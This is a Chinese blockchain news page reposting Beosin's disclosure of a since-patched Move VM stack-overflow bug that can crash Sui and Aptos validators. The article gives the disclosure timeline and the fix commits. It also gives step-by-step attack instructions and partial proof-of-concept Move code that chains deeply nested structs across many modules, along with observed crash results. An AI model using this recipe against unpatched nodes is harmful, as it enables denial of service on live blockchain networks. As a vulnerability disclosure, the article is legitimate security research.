Menu

  • Home
  • Trending
  • Recommended
  • Latest

分類

  • #2021 新年特輯
  • 100天區塊鏈挑戰
  • 2019 台灣區塊鏈產業指南
  • 2020 台灣區塊鏈產業年鑑
  • 2022 台灣年度最影響力人物榜
  • 2023 台灣年度影響力人物榜
  • 2023 新春特輯
  • 2024 TON Hacker House
  • 2024新春特輯
  • ABS 2018 專題報導
  • AI
  • CBDC是什麼?為何全球都在積極研究、有什麼優點與隱憂
  • Cefi
  • dao
  • dApps
  • defi
  • DePIN 如何開啟去中心化物理網路革命?
  • Entertainment
  • EOS
  • EOS insights
  • Gaming
  • Howto & Style
  • ICO
  • JiaJia
  • Layer 2
  • Libra
  • Movie
  • Music
  • News
  • nft
  • Plurality 多元宇宙
  • Starknet 空投落地,後續帶來什麼影響?
  • TON的崛起之路》背靠 Telegram 如何實現 Web3 大規模應用?
  • Uncategorized
  • Web3.0
  • 中國
  • 亞太
  • 交易所
  • 人物專訪
  • 以太坊
  • 以太坊
  • 以太坊 Dencun 坎昆升級將臨,你需要知道的所有事
  • 以太坊再質押協議為何成為最熱門賽道?
  • 供應鏈
  • 保險
  • 債券
  • 元宇宙
  • 全台最大詐騙案!Ace交易所涉垃圾幣詐騙
  • 全球加密貨幣監管最新動態統整
  • 其他國家
  • 其他幣別
  • 分散式帳本技術
  • 創投
  • 加密貨幣「詐騙手法」整理,學習如何保護你的資產
  • 加密貨幣市場
  • 區塊鏈平台
  • 區塊鏈新手全攻略,你需要知道的加密貨幣基礎
  • 區塊鏈新手教學
  • 區塊鏈活動
  • 區鍵禧
  • 即時新聞
  • 台灣
  • 哈希派
  • 國際組織報告
  • 多元宇宙Plurality有多重要?未來20年人類躍進關鍵
  • 央行
  • 娛樂平台
  • 安全
  • 專欄作者
  • 巴拉區塊事
  • 市場分析
  • 幣安與美國司法部達成 43 億美元和解,CZ認罪
  • 影片測試的分類
  • 快訊
  • 技術
  • 抓住空投爆擊!值得埋伏的項目、互動教學總整理
  • 投資分析
  • 挖礦
  • 推薦閱讀
  • 搶先看
  • 支付
  • 政府報告
  • 數位產權
  • 數據報告
  • 概念
  • 歐洲
  • 比特幣
  • 比特幣現貨ETF上市,真帶來了增量資金?
  • 比特幣第四次減半將臨,行情怎麼走?
  • 比特幣銘文大爆發,Oridinal 如何改變 BTC 生態?
  • 比特彭
  • 汪彪
  • 法規
  • 測試網
  • 灰度
  • 物聯網
  • 犯罪
  • 獨立觀點
  • 瑞波
  • 環境永續
  • 社交
  • 私人機構報告
  • 稅務
  • 穩定幣
  • 管制
  • 美國
  • 肺炎
  • 能源
  • 訴訟
  • 評級報告
  • 財金哥 & 區塊妹
  • 身份驗證
  • 遊戲
  • 鄧庶杭
  • 金融市場
  • 銀行
  • 錢包

Subscriptions

  • 零壹財經 01 binary
    01 Binary
  • 0xdt
  • 0xJigglypuff
  • aaaaYYYY
  • ABCDELabs

Recent News

  • 圖解多元宇宙》V神、Glen力推的Plurality是什麼?為何協作技術是人類社會進步關鍵
  • 精選文章搶先看!動區登入Access質押訂閱服務,解鎖寶貴資訊快人一步
  • ABS獨家專訪》Gitcoin共同創辦人Scott:台灣是現實與Web3治理的重要交匯點
動區動趨-最具影響力的區塊鏈新聞媒體
  • Home
    • Home Layout 1
    • Home Layout 2
    • Home Layout 3
  • Browse
    • News
    • Movie
    • Music
    • Technology
    • Howto & Style
    • Entertainment
    • Gaming
  • Features
    • Youtube Video
    • Vimeo Video
    • Dailymotion Video
    • Self-hosted Video
    • User Profile
    • Playlists
    • User-created Playlist
    • Favorite Playlist (Private)
    • Watch Later Playlist (Private)
    • All JNews Features
No Result
View All Result
  • Login
  • Register
UPLOAD
動區動趨-最具影響力的區塊鏈新聞媒體
No Result
View All Result
Home Uncategorized

Beosin:Move VM先前毀滅級漏洞,可讓Sui、Aptos「崩潰、甚至硬分叉」

Beosin區塊鏈安全審計 by Beosin區塊鏈安全審計
2023-06-15
in Uncategorized
559 29
0
Beosin:Move VM先前毀滅級漏洞,可讓Sui、Aptos「崩潰、甚至硬分叉」
809
SHARES
3.7k
VIEWS
Share on FacebookShare on Twitter

Beosin 安全研究團隊發現了一個遞迴呼叫導致的棧溢位漏洞,這個漏洞可以導致整個網路崩潰,還會導致新的 validator 無法加入到網路中,甚至可能會導致硬分叉。目前 Suimainnet _v1.2.1、Aptosmainnet_v1.4.3、Move 語言 2023 年 6 月 10 日之後的版本修復了此漏洞。
(前情提要:SUI 遭爆3月秘密修復「十億美元安全漏洞」,可讓駭客閃電貸攻擊..)
(背景補充:安全公司Numen:Aptos虛擬機存在高危險漏洞,恐癱瘓節點(現已修復))

本文目錄

  • RelatedPosts
  • 全面分析 Sui 的生態項目發展和佈局
  • Web3大規模採用的痛點是什麼?如何建立正確的使用者增長方法論
  • V神大讚「Orb Land」很酷!Taproot Wizards創辦人新推的加密經濟實驗是什麼?
  • 知識前提
  • 漏洞描述
  • PoC
  • 漏洞修復
  • 漏洞影響
  • 為什麼這個漏洞有可能會導致硬分叉?
  • 總結

 

RelatedPosts

全面分析 Sui 的生態項目發展和佈局

Web3大規模採用的痛點是什麼?如何建立正確的使用者增長方法論

V神大讚「Orb Land」很酷!Taproot Wizards創辦人新推的加密經濟實驗是什麼?

Move 是一個新的區塊鏈語言,被 Aptos、Sui 等公鏈使用。近期我們 Beosin 安全研究團隊發現了一個遞迴呼叫導致的棧溢位漏洞,這個漏洞可以導致整個網路崩潰(total network shutdown),還會導致新的 validator 無法加入到網路中,甚至可能會導致硬分叉!

我們在發現並驗證這個漏洞後,第一時間( 2023 年 5 月 30 日)通過郵件與 Sui 團隊取得聯絡,隨後在他們的建議下,將漏洞提交到了 Immunefi 漏洞賞金平臺( 2023 年 6 月 2 日)。

Beosin 團隊 5 月 30 日已聯絡 Sui 團隊

不過在我們提交漏洞之後,官方團隊回覆稱他們於一個月前內部發現了該問題,並在祕密進行安全修復,並於我們提交 immunefi 的當天釋出了修復版本( 2023 年 6 月 2 日)。我們理解並尊重他們的回覆。

當前版本該漏洞已修復,所以我們現在公開我們的研究發現。作為區塊鏈安全行業的領先者,我們持續關注區塊鏈生態的安全。

延伸閱讀:SUI 遭爆3月秘密修復「十億美元安全漏洞」,可讓駭客閃電貸攻擊..


知識前提

Move 虛擬機器是由 Rust 語言編寫實現。Move 程式碼組織(和分發)的主要單位是 Package。Package 由一組 module 組成,這些 module 定義在單獨的檔案中,副檔名為 .move。這些檔案包括 Move 函式和型別定義。

最小包源目錄結構如下所示,包含清單檔案、鎖定檔案和一個或多個模組檔案所在的 sources 子目錄:

Package 可以被 Publish 到區塊鏈上。一個 Package 可以包含多個 Module,一個 Module 可以包含多個函式、結構體。

函式的引數可以是結構體,結構體可以內嵌其他結構體,如下所示:

在 Rust 程式語言裡面,遞迴函式呼叫的時候,如果沒有限制呼叫深度,會導致棧溢位或者 cpu、記憶體等資源的耗盡。Move 虛擬機器正是由 Rust 語言編寫。

漏洞描述

在 Move 虛擬機器裡面,為了處理各種結構化資料(比如序列化資料、結構體巢狀、陣列巢狀、泛型巢狀),經常會用到遞迴函式。為了防止由於遞迴呼叫導致的棧溢位,需要對遞迴呼叫的深度進行檢查。如下所示:


上面的圖片是 Move 虛擬機器限制簡單和複雜型別結構的解析深度


上面的圖片是 Move 虛擬機器對位元組碼裡面 SIGNATURE_TOKEN 深度的限制。

儘管 Move 虛擬機器在很多地方都有遞迴呼叫深度檢查,但是它仍然有某些情況沒有考慮到。

我們現在考慮一種攻擊方式:定義一個 struct A,然後 A 巢狀 struct B,然後 B 巢狀 struct C…. 這樣一直巢狀下去,如果 Move 虛擬機器是用一個遞迴函式來處理這種巢狀關係,那麼 Move 虛擬機器會因為棧溢位或者資源不足而崩潰。儘管 Move 對每個 module 可以定義的 struct 數量有限制,但是我們可以建立無數個 module。

這樣我們就有了攻擊思路:

1、生成 25 個(完全可以比 25 多)package,每個 package 包含 1 個 module

2、每個 module 裡面定義 64 個(Aptos 裡面可以比 64 多)有鏈式巢狀關係的 struct,每個 module 裡的第一個 struct,巢狀上一個 module 裡面的最後一個 struct。

3、每個 module 裡面包含一個可呼叫的 entry 函式。這個函式接受一個引數,這個引數型別是上一個 module 的最後一個 struct(第 64 個 struct)。這個函式建立並返回本 module 的最後一個 struct 例項(第 64 個 struct)

4、按照順序 publish 每個 package

5、按照順序呼叫每個 module 裡面的 entry 函式

針對 Sui mainnet_v1.1.1_,我們測試後發現如下現象(我們的測試環境有 4 個 validator):

1、執行一次 poc 之後,4 個 validator 會因為棧溢位馬上崩潰

2、至少 3 個 validator 崩潰重啟後,所有的 fullnode 會崩潰

3、至少 3 個 validator 崩潰重啟後,新的 validator 加入時會崩潰至少 1 次

4、至少 3 個 validator 崩潰重啟後,新的 fullnode 加入時有時候會崩潰 1 次

5、如果運氣好的話,某些 validator、fullnode 崩潰後無法重啟,只有刪除本地所有資料庫,才能重啟


針對 Sui mainnet_v1.2.0,我們測試後發現如下現象(我們的測試環境有 4 個 validator):

1、執行一次 poc 之後,至少有 1 個 validator 會因為棧溢位或者 out of memory 而崩潰;

2、再次執行一次 poc,可以讓第 2 個 validator 崩潰。然後整個網路無法接受新的交易;

3、崩潰後的 validator 有可能無法重啟。刪除這個 validator 的所有本地資料庫,然後執行它,它會在一段時間後崩潰,而且再也無法重啟;

4、新的 validator 加入網路的時候,會崩潰。



我們簡單測試了 Aptos,發現 Aptos 也會崩潰:


PoC

Sui 鏈的 PoC


module hello_world_2::hello{
   use std::string;
   use sui::object::{Self, UID};
   use sui::transfer;
   use sui::tx_context::{Self, TxContext};

    struct T_0  has key,store{ 
        id : UID,
        m : hello_world_1::hello::T_63
    }
    struct T_1 has key,store{ 
        id : UID,
        m : T_0 
    }

........other not printed.........

    struct T_62 has key,store{ 
        id : UID,
        m : T_61 
    }
    struct T_63 has key,store{ 
        id : UID,
        m : T_62 
    }
    public entry fun mint(previous: hello_world_1::hello::T_63 ,ctx: &mut TxContext) {
        let object = T_63{
        id: object::new(ctx),
        m : T_62{
        id: object::new(ctx),
        m : T_61{
        id: object::new(ctx),

........other not printed.........

        m : T_1{
        id: object::new(ctx),
        m : T_0{
        id: object::new(ctx),
        m : previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}};
        transfer::transfer(object, tx_context::sender(ctx));
    }
}

每創建一個這樣的 module,就 Publish 到 Sui 鏈上,並調用 mint 函數,獲取它創建的 “object”,同時將 “object” 作為參數傳遞給下一個 module 的 mint 函數,直到 Sui 節點崩潰

Aptos 鏈的 PoC



module Test2::test_module2{  
  struct Struct0  has key,store,drop {
    m : Test1::test_module1::Struct200
  }
  struct Struct1  has key,store,drop{
    m : Struct0 
  }
  
........other not printed.........

    struct Struct199  has key,store,drop{
    m : Struct198 
  }
        
    struct Struct200  has key,store,drop{
    m : Struct199 
  }
        
  public entry fun mint(_account : signer){
        let previous0 = 5554444;
    let previous1 = Test0::test_module0::test_function(previous0);
    let previous2 = Test1::test_module1::test_function(previous1);
    let _current = test_function(previous2);
  }
  public fun test_function(previous : Test1::test_module1::Struct200) : Struct200{
    let object = Struct200{
        m:Struct199{
........other not printed.........
        m:Struct1{
        m:Struct0{
        m:previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}};
    object
  }
}

每創建一個這樣的 module,就 Publish 到 Aptos 鏈上,並調用 mint 函數,直到 Aptos 節點崩潰。

漏洞修復

Sui mainnet_v1.2.1(2023 年 6 月 2 號)、Aptos mainnet_v1.4.3(2023 年 6 月 3 號)、Move 語言 2023 年 6 月 10 日之後的版本修復了此漏洞。

Sui 更新程式碼:
https://github.com/MystenLabs/sui/commit/8b681515c0cf435df2a54198a28ab4ef574d202b

更新程式碼在建立 struct、vec、generic 的地方,對型別引用深度作了限制。增加的關鍵函式是”check_depth_of_type”。


Aptos 更新程式碼:

https://github.com/aptos-labs/aptos-core/commit/47a0391c612407fe0b1051ef658a29e35d986963

和 Sui 一樣,更新程式碼在建立 struct、vec、generic 的地方,對型別引用深度作了限制。增加的關鍵函式是」check_depth_of_type」。

Move 語言更新程式碼:

https://github.com/move-language/move/commit/8f5303a365cf9da7554f8f18c393b3d6eb4867f2

和 Sui、Aptos 一樣,更新程式碼在建立 struct、vec、generic 的地方,對型別引用深度作了限制。增加的關鍵函式是 “check_depth_of_type”。

漏洞影響

這個漏洞利用非常簡單,而且一次攻擊消耗的 gas 也非常小。但是該漏洞的影響非常大,可以導致整個網路崩潰(total network shutdown),還會讓新的 validator 無法加入到網路中,甚至可能導致硬分叉(hard fork)。Sui mainnet_v1.2.1、Aptos mainnet_v1.4.3 以前的版本都受此漏洞影響。

為什麼這個漏洞有可能會導致硬分叉?

1、惡意攻擊者可以建立任意深度的結構體巢狀關係,並將這些惡意 struct 部署到鏈上。然後針對這些結構體傳送一些不可改變的惡意交易,雖然這個過程中可能會導致網路崩潰,但是部分惡意交易還是會被已經被部署到鏈上了。

2、為了修補這個漏洞,我們可以限制遞迴呼叫的深度。但是這樣我們就再也無法引用已經部署到區塊鏈上的的惡意結構體,也無法在虛擬機器裡面驗證與惡意 struct 相關的歷史交易。只有硬分叉才能解決這種問題。

3、由於導致硬分叉的測試對現行網路影響過於嚴重,我們放棄了該測試,但理論上我們認為可行。

總結

一個小小的遞迴函式呼叫,就導致棧溢位,而棧溢位又導致整個網路崩潰(total network shutdown),再利用一些攻擊手段,很可能使區塊鏈產生硬分叉。所以,區塊鏈的安全是永遠排在第一位的。我們建議專案方要多注意這種型別的漏洞,最好是找專業的區塊鏈安全機構進行全面的審計。

Beosin 作為一家全球領先的區塊鏈安全公司,在全球 10 多個國家和地區設立了分部,業務涵蓋專案上線前的程式碼安全審計、專案執行時的安全風險監控、預警與阻斷、虛擬貨幣被盜資產追回、安全合規 KYT/AML 等 「一站式」 區塊鏈安全產品 + 服務,目前已為全球 3000 多個區塊鏈企業提供安全技術服務,審計智慧合約超過 3000 份,同時,Beosin 也提供上幣專案的安全評估以及提供符合各地監管要求的合規評估、VaaS 自動化上幣審計服務、交易所滲透服務、交易所安全建設諮詢服務等安全解決方案。歡迎點選公眾號留言框,與我們聯絡。

📍相關報導📍

Telegram傳安全漏洞!工程師爆:官方強制接管用戶帳號,鑄造成TON NFT牟利

快更新!Google Chrome承認重大零時差漏洞,修補版本已釋出

Layerzero爆跨鏈漏洞?查證:某巨鯨頻繁以「數百萬鎂」套利平衡獎勵

Tags: AptosMoveSui漏洞

Recommended videos

0:26

PS4 Pro will make more games look better on older TVs

2.5k Views
2024-06-15
    13:20

    How Would You Dress If You Weren’t Online?

    2.5k Views
    2024-06-21
      3:27

      NIKI – La La Lost You (Official Music Video)

      2.5k Views
      2024-07-28
        8:53

        Death Stranding – Release Date Reveal Trailer

        2.5k Views
        2024-07-02
          Show More
          Copyright (c) 2019 by Jegtheme.
          • About
          • Buy JNews
          • Request A Demo
          • Contact
          No Result
          View All Result
          • Account
          • BlockTempo Beginner – 動區新手村
          • Change Password
          • Forgot Password?
          • Home 1
          • Home 2
          • Home 3
          • Jin-homepage
          • Latest
          • Login
          • Profile
          • Register
          • Reset Password
          • Trending
          • Users
          • Users List Item
          • 不只加密貨幣,談談那些你不知道的區塊鏈應用|動區新手村
          • 所有文章
          • 關於 BlockTempo

          © 2025 JNews - Premium WordPress news & magazine theme by Jegtheme.

          Welcome Back!

          Login to your account below

          Forgotten Password? Sign Up

          Create New Account!

          Fill the forms below to register

          All fields are required. Log In

          Retrieve your password

          Please enter your username or email address to reset your password.

          Log In

          Add New Playlist